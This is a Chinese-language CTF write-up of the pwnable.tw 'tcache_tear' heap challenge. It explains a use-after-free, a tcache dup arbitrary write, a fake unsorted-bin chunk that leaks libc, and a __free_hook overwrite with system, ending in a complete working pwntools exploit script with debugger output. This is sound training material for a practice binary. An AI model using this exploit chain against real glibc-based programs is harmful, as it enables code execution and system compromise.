pwnable.tw tcache_tear

作者: print("") 分类: PWN 发布时间: 2024-12-01 13:18

这道题对于初学的我来说花了几个小时去理解。利用到的知识点如下:

1.使用tcache dup实现任意地址写

2.使用unsorted bin 双向链表特性获取到unsorted bin 头部指针泄露、计算libc的基地址得到system地址

3.将free替换为system指针、获取到权限

一、题目环境搭建

题目中给了一个libc 为2.27 的libc 又标明为tcache 

这里使用patchelf 进行替换libc 

面对堆题的时候,本地上的libc往往无法满足需求(版本过高漏洞被修复),
切换本地libc为题目给定libc,在切换之前需要准备。
https://github.com/NixOS/patchelf

https://github.com/matrix1001/glibc-all-in-one

首先需要弄清楚libc版本
strings libc.so |grep “GLIBC ”

然后寻找对应的glibc版本。
cd glibc-all-in-one-master
python update_list
cat list

下载指定的libc
建议把源换到阿里云
download 文件修改成阿里云的地址

./download 2.27-3ubuntu1_amd64

下载完成之后查看一下。
ls libs/2.27-3ubuntu1_amd64

设置libc的版本

patchelf --set-interpreter /home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so /home/pwn/桌面/head/tcache_tear/tcache_tear
patchelf --set-rpath  /home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64 /home/pwn/桌面/head/tcache_tear/tcache_tear
ldd /home/pwn/桌面/head/tcache_tear/tcache_tear
    linux-vdso.so.1 (0x00007ffdfff8b000)
    libc.so.6 => /home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6 (0x00007fb353fb2000)
    /home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-2.27.so => /lib64/ld-linux-x86-64.so.2 (0x00007fb3543a5000)

成功设置完libc的版本

但是gdb 调试的时候会有问题。暂时还没有得到解决

二、题目解析

首先checksec 一下

tcache_tear$ checksec tcache_tear 
[*] '/home/pwn/桌面/head/tcache_tear/tcache_tear'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
    RUNPATH:  b'/home/pwn/glibc-all-in-one/libs/2.27-3ubuntu1_amd64'
    FORTIFY:  Enabled
tcache_tear$ 

运行一下程序 一共就是3个选择。1个是申请内存、一个是释放、第三个是查看内容

tcache_tear$ ./tcache_tear 
Name:1
$$$$$$$$$$$$$$$$$$$$$$$
      Tcache tear     
$$$$$$$$$$$$$$$$$$$$$$$
  1. Malloc            
  2. Free              
  3. Info              
  4. Exit              
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :1
Size:1   
Data:1
Done !
$$$$$$$$$$$$$$$$$$$$$$$
      Tcache tear     
$$$$$$$$$$$$$$$$$$$$$$$
  1. Malloc            
  2. Free              
  3. Info              
  4. Exit              
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :3
Name :1$$$$$$$$$$$$$$$$$$$$$$$
      Tcache tear     
$$$$$$$$$$$$$$$$$$$$$$$
  1. Malloc            
  2. Free              
  3. Info              
  4. Exit              
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :2
$$$$$$$$$$$$$$$$$$$$$$$
      Tcache tear     
$$$$$$$$$$$$$$$$$$$$$$$
  1. Malloc            
  2. Free              
  3. Info              
  4. Exit              
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :

64位的程序。打开IDA发现是没有符号表的。然后自己改了一下让能看的清晰点

Main 函数

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  const char *name; // rdi
  __int64 v4; // rax
  unsigned int count; // [rsp-Ch] [rbp-Ch]

  set_clear();
  printf("Name:", a2);
  name = (const char *)&name_address;
  read_name((__int64)&name_address, 0x20u);
  count = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v4 = read_num();
      if ( v4 != 2 )
        break;
      if ( count <= 7 )
      {
        name = (const char *)ptr_address;
        free(ptr_address);
        ++count;
      }
    }
    if ( v4 > 2 )
    {
      if ( v4 == 3 )
      {
        Infos();
      }
      else
      {
        if ( v4 == 4 )
          exit(0);
LABEL_14:
        name = "Invalid choice";
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v4 != 1 )
        goto LABEL_14;
      Add(name, 32LL);
    }
  }
}

ADD函数

int Add()
{
  unsigned __int64 num; // rax
  int size; // [rsp-10h] [rbp-10h]

  printf("Size:");
  num = read_num();
  size = num;
  if ( num <= 0xFF )
  {
    ptr_address = malloc(num);
    printf("Data:");
    read_name((__int64)ptr_address, size - 16);
    LODWORD(num) = puts("Done !");
  }
  return num;
}

INFO函数

ssize_t sub_400B99()
{
  printf("Name :");
  return write(1, &name_address, 0x20uLL);
}

分析漏洞点


1、可以看到在Mian 函数中是只是free 了地址、但是没有free掉引用、这里就会出现UAF漏洞

 if ( v3 != 2 )
        break;
      if ( count <= 7 )
      {
        free(ptr_address);
        ++count;
      }

但是这有一个限制、就是count 最大只能7次。

2、在add 函数中。如果size 小于16 那么得到的结果就会为负数、那么此刻就可以实现栈溢出了

read_name((__int64)ptr_address, size - 16);

但是在此处是没用、可以演示一下

head$ gdb tcache_bak 
pwndbg> r
Starting program: /home/pwn/桌面/head/tcache_bak 
Name:n
$$$$$$$$$$$$$$$$$$$$$$$
      Tcache tear     
$$$$$$$$$$$$$$$$$$$$$$$
  1. Malloc            
  2. Free              
  3. Info              
  4. Exit              
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :1
Size:1
Data:1222222222222222222222222222222
Done !
$$$$$$$$$$$$$$$$$$$$$$$
      Tcache tear     
$$$$$$$$$$$$$$$$$$$$$$$
  1. Malloc            
  2. Free              
  3. Info              
  4. Exit              
$$$$$$$$$$$$$$$$$$$$$$$
Your choice :^C
Program received signal SIGINT, Interrupt.
__read_chk (fd=0, buf=0x7fffffffdf80, nbytes=23, buflen=<optimized out>) at read_chk.c:33
33	read_chk.c: 没有那个文件或目录.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 RAX  0xfffffffffffffe00
 RBX  0x400c90 ◂— push   r15
 RCX  0x7ffff7ef39cd (__read_chk+13) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x17
 RDI  0x0
 RSI  0x7fffffffdf80 —▸ 0x400840 ◂— xor    ebp, ebp
 R8   0xd
 R9   0xd
 R10  0x400db6 ◂— pop    rcx /* 'Your choice :' */
 R11  0x246
 R12  0x400840 ◂— xor    ebp, ebp
 R13  0x7fffffffe0b0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdfa0 —▸ 0x7fffffffdfc0 ◂— 0x0
 RSP  0x7fffffffdf68 —▸ 0x4009fb ◂— lea    rax, [rbp - 0x20]
 RIP  0x7ffff7ef39cd (__read_chk+13) ◂— cmp    rax, -0x1000 /* 'H=' */
───────────────────────────────────[ DISASM ]───────────────────────────────────
 ► 0x7ffff7ef39cd <__read_chk+13>    cmp    rax, -0x1000
   0x7ffff7ef39d3 <__read_chk+19>    ja     __read_chk+32 <__read_chk+32>
    ↓
   0x7ffff7ef39e0 <__read_chk+32>    mov    rdx, qword ptr [rip + 0xbd489]
   0x7ffff7ef39e7 <__read_chk+39>    neg    eax
   0x7ffff7ef39e9 <__read_chk+41>    mov    dword ptr fs:[rdx], eax
   0x7ffff7ef39ec <__read_chk+44>    mov    rax, -1
   0x7ffff7ef39f3 <__read_chk+51>    ret    
 
   0x7ffff7ef39f4 <__read_chk+52>    push   rax
   0x7ffff7ef39f5 <__read_chk+53>    call   __chk_fail <__chk_fail>
 
   0x7ffff7ef39fa                    nop    word ptr [rax + rax]
   0x7ffff7ef3a00 <__pread_chk>      endbr64 
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp  0x7fffffffdf68 —▸ 0x4009fb ◂— lea    rax, [rbp - 0x20]
01:0008│      0x7fffffffdf70 —▸ 0x400c90 ◂— push   r15
02:0010│      0x7fffffffdf78 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfc0 ◂— 0x0
03:0018│ rsi  0x7fffffffdf80 —▸ 0x400840 ◂— xor    ebp, ebp
04:0020│      0x7fffffffdf88 —▸ 0x7fffffffe0b0 ◂— 0x1
05:0028│      0x7fffffffdf90 ◂— 0x0
06:0030│      0x7fffffffdf98 ◂— 0xf3b28dd33fd4e400
07:0038│ rbp  0x7fffffffdfa0 —▸ 0x7fffffffdfc0 ◂— 0x0
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0     7ffff7ef39cd __read_chk+13
   f 1           4009fb
   f 2           400c16
   f 3     7ffff7de9083 __libc_start_main+243
────────────────────────────────────────────────────────────────────────────────
pwndbg> heap 
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x291

Allocated chunk | PREV_INUSE
Addr: 0x603290
Size: 0x21

Top chunk | IS_MMAPED
Addr: 0x6032b0
Size: 0x32323232323232

pwndbg> 

可以看到top chunk 的size 变成了0x32323232332 及其大的数字

三、利用漏洞点

1、tcache dup 任意地址写

我们可以利用UAF 漏洞进行对某个地址的写、具体如下:

1、申请一个0x50 的空间内容为a

2、释放内存

3、释放内存

4、申请一个0x50 的空间内容为需要修改的内存地址

5、申请一个0x50 的空间内容为a

6、申请一个0x50 的空间内容为需要修改的内容

示例代码如下:

a = malloc(0x20);
free(a);
free(a);
malloc(0x20,addr)
malloc(0x20)
malloc(0x20,data)

可能会有点懵、我这里画了一张图来进行理解


如果是fastbin的话需要四次才能达到修改内容的值

a = malloc(0x20)
b = malloc(0x20)

free(a);
free(b);
free(a);

malloc(0x20,addr)
malloc(0x20)
malloc(0x20)
malloc(0x20,data)

那么就可以来演示一下。修改name 的值

from pwn import *
#context(arch='amd64',os='linux',log_level='debug')

io=process("./tcache_tear")
elf=ELF("./libc.so")

def Malloc(size,data):
	io.sendlineafter(b"choice :",b"1")
	io.sendlineafter(b"Size:",str(size).encode())
	io.sendlineafter(b"Data:",data)
def Free():
	io.sendlineafter(b"choice :",b"2")

def Info():
	io.sendlineafter(b"choice :",b"3")


def UAF_WRITE(Len,address,address_data):
	Malloc(Len,'a')
	Free()
	Free()
	Malloc(Len,p64(address))
	Malloc(Len,'a')
	Malloc(Len,address_data)
io.sendlineafter(b"Name:",b"77777")
name_bss = 0x602060
UAF_WRITE(0x50,name_bss,"666666666")
Info()
io.interactive()


成功修改了name的值为6666666

2、构造伪堆块泄露libc

因为我们这里已经掌握了任意地址的写入、但是tcache 只能执行7次,并且内存大小最大只能是0xff

如果能构造一个unsorted bin这种双向链表、那么就可以拿unsorted bin 表头的地址减去libc距离就可以获取到libc的基地址

1、确定tcache 最大的空间是多少?     默认情况下tcache为64个 64位下可容纳的最大内存块大小是1032(0x408)

2、unsorted bin 有那些限制?       除了要伪造的size要大于0x408,并且伪堆块后面的数据也要满足基本的堆块格式,而且至少两块


参考:https://github.com/lattera/glibc/blob/master/malloc/malloc.c

// 在 _int_free 函数中
if (nextchunk != av->top) {
  /* get and clear inuse bit */
  nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

可以看到free函数对当前的堆块的nextchunk也进行了相应的检查,并且还检查了nextchunk的inuse位,这一位的信息在nextchunk的nextchunk中,

所以在这里我们总共要伪造三个堆块。第一个堆块我们构造大小为0x500,

第二个和第三个分别构造为0x20大小的堆块,这些堆块的标记位,均为只置prev_inuse为1,使得free不去进行合并操作。如图:

这里解释一下为什么是0x501 因为这个1 是 P的值  P一定要为1 不然会被触发合并  、那么他真实的内容大小为0x500 

需要注意的是。free(ptr) 是在name+0x10 地方。如果这里就是需要布好堆之后、需要把ptr的指针指向到name+0x10 的地方。

1、第一段的0x501 直接可以在初始化的时候进行一个写入、因为后面没办法写这么长的数据

2、然后利用任意地址写构造name+0x500的后两个伪堆块

3、再次利用任意地址写,向name+0x10写任意数据,目的是执行完最后一个malloc,ptr全局变量会被更新为name+0x10  因为释放后这个地方会指向到unsorted bin 头部位置

4、使用info函数读取name前0x20字节的内容,即可泄露unsorted bin地址

如图

代码如下:

from pwn import *
#context(arch='amd64',os='linux',log_level='debug')

io=process("./tcache_tear")
elf=ELF("./libc.so")


def Malloc(size,data):
	io.sendlineafter(b"choice :",b"1")
	io.sendlineafter(b"Size:",str(size).encode())
	io.sendlineafter(b"Data:",data)
def Free():
	io.sendlineafter(b"choice :",b"2")

def Info():
	io.sendlineafter(b"choice :",b"3")


def UAF_WRITE(Len,address,address_data):
	Malloc(Len,'a')
	Free()
	Free()
	Malloc(Len,p64(address))
	Malloc(Len,'a')
	Malloc(Len,address_data)

io.sendlineafter(b"Name:",p64(0)+p64(0x501))
name_bss = 0x602060
UAF_WRITE(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)  #
UAF_WRITE(0x60,name_bss+0x10,'a')  #

Free()
Info()
io.recvuntil("Name :"); io.recv(0x10)
bin_address=u64(io.recv(8)) 
print("bin:",bin_address)

io.interactive()

这里泄露出来的指针是unsorted bin的头部指针、怎么计算libc 的地址呢?

调试

from pwn import *
#context(arch='amd64',os='linux',log_level='debug')

io=process("./tcache_tear")
elf=ELF("./libc.so")


def Malloc(size,data):
	io.sendlineafter(b"choice :",b"1")
	io.sendlineafter(b"Size:",str(size).encode())
	io.sendlineafter(b"Data:",data)
def Free():
	io.sendlineafter(b"choice :",b"2")

def Info():
	io.sendlineafter(b"choice :",b"3")


def UAF_WRITE(Len,address,address_data):
	Malloc(Len,'a')
	Free()
	Free()
	Malloc(Len,p64(address))
	Malloc(Len,'a')
	Malloc(Len,address_data)

io.sendlineafter(b"Name:",p64(0)+p64(0x501))
name_bss = 0x602060
UAF_WRITE(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)  #
UAF_WRITE(0x60,name_bss+0x10,'a')  #

Free()
Info()
io.recvuntil("Name :"); io.recv(0x10)
bin_address=u64(io.recv(8)) 
print("bin:",bin_address)

pause()
io.interactive()

这里加了pause() 直接运行即可


这里即可进入调试界面

pwndbg> got 

GOT protection: Full RELRO | GOT functions: 13
 
[0x601f88] free@GLIBC_2.2.5 -> 0x7feb32c2c950 (free) ◂— push   r15
[0x601f90] _exit@GLIBC_2.2.5 -> 0x7feb32c79dd0 (_exit) ◂— mov    edx, edi
[0x601f98] __read_chk@GLIBC_2.4 -> 0x7feb32cc7e60 (__read_chk) ◂— cmp    rdx, rcx
[0x601fa0] puts@GLIBC_2.2.5 -> 0x7feb32c159c0 (puts) ◂— push   r13
[0x601fa8] write@GLIBC_2.2.5 -> 0x7feb32ca5140 (write) ◂— lea    rax, [rip + 0x2e07b1]
[0x601fb0] __stack_chk_fail@GLIBC_2.4 -> 0x7feb32cc9c80 (__stack_chk_fail) ◂— lea    rsi, [rip + 0x81cdf]
[0x601fb8] printf@GLIBC_2.2.5 -> 0x7feb32bf9e80 (printf) ◂— sub    rsp, 0xd8
[0x601fc0] alarm@GLIBC_2.2.5 -> 0x7feb32c79840 (alarm) ◂— mov    eax, 0x25
[0x601fc8] atoll@GLIBC_2.2.5 -> 0x7feb32bd56b0 (atoll) ◂— mov    edx, 0xa
[0x601fd0] signal@GLIBC_2.2.5 -> 0x7feb32bd3da0 (ssignal) ◂— lea    eax, [rdi – 1]
[0x601fd8] malloc@GLIBC_2.2.5 -> 0x7feb32c2c070 (malloc) ◂— push   rbp
[0x601fe0] setvbuf@GLIBC_2.2.5 -> 0x7feb32c162f0 (setvbuf) ◂— push   r13
[0x601fe8] exit@GLIBC_2.2.5 -> 0x7feb32bd8120 (exit) ◂— lea    rsi, [rip + 0x3a85f1]

可以通过https://libc.rip/  或者pwntools 计算地址

例如:0x7feb32c2c950  为free


0x7feb32c2c950 –0x97950 = libc的基地址

然后通过打印的bin的地址140648149159072-0x7feb32c2c950 –0x97950 就记得到了bin 和libc的偏移量

>>> 0x7feb32c2c950 -0x97950
140648145047552
>>> 140648149159072-140648145047552
4111520
>>> hex(4111520)
'0x3ebca0'

计算出偏移量0x3ebca0

那么直接替换到free的地址,换成system的地址。然后直接调用system 进行传递参数 最后的exp如下:

from pwn import *
#context(arch='amd64',os='linux',log_level='debug')

io=process("./tcache_tear")
libc=ELF("./libc.so")


def Malloc(size,data):
	io.sendlineafter(b"choice :",b"1")
	io.sendlineafter(b"Size:",str(size).encode())
	io.sendlineafter(b"Data:",data)
def Free():
	io.sendlineafter(b"choice :",b"2")

def Info():
	io.sendlineafter(b"choice :",b"3")


def UAF_WRITE(Len,address,address_data):
	Malloc(Len,'a')
	Free()
	Free()
	Malloc(Len,p64(address))
	Malloc(Len,'a')
	Malloc(Len,address_data)

def Malloc2(size,data):
	io.sendlineafter(b"choice :",b"1")
	io.sendlineafter(b"Size:",size)
	io.sendlineafter(b"Data:",data)

io.sendlineafter(b"Name:",p64(0)+p64(0x501))
name_bss = 0x602060
UAF_WRITE(0x50,name_bss+0x500,(p64(0)+p64(0x21)+p64(0)*2)*2)  #
UAF_WRITE(0x60,name_bss+0x10,'a')  #

Free()
Info()
io.recvuntil("Name :"); io.recv(0x10)
bin_address=u64(io.recv(8)) 
print("bin:",bin_address)
libc_address=bin_address-0x3ebca0
print("system:",libc_address)

free_hook = libc_address + libc.symbols['__free_hook']
system    = libc_address + libc.symbols['system']

UAF_WRITE(0x70,free_hook,p64(system))


Malloc(0x80,"sh\x00")

Free()
io.interactive()

参考:

https://mp.weixin.qq.com/s/eS-HvJCbJERaQu-wbLeRXw

https://xuanxuanblingbling.github.io/ctf/pwn/2020/03/13/tcache/



如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注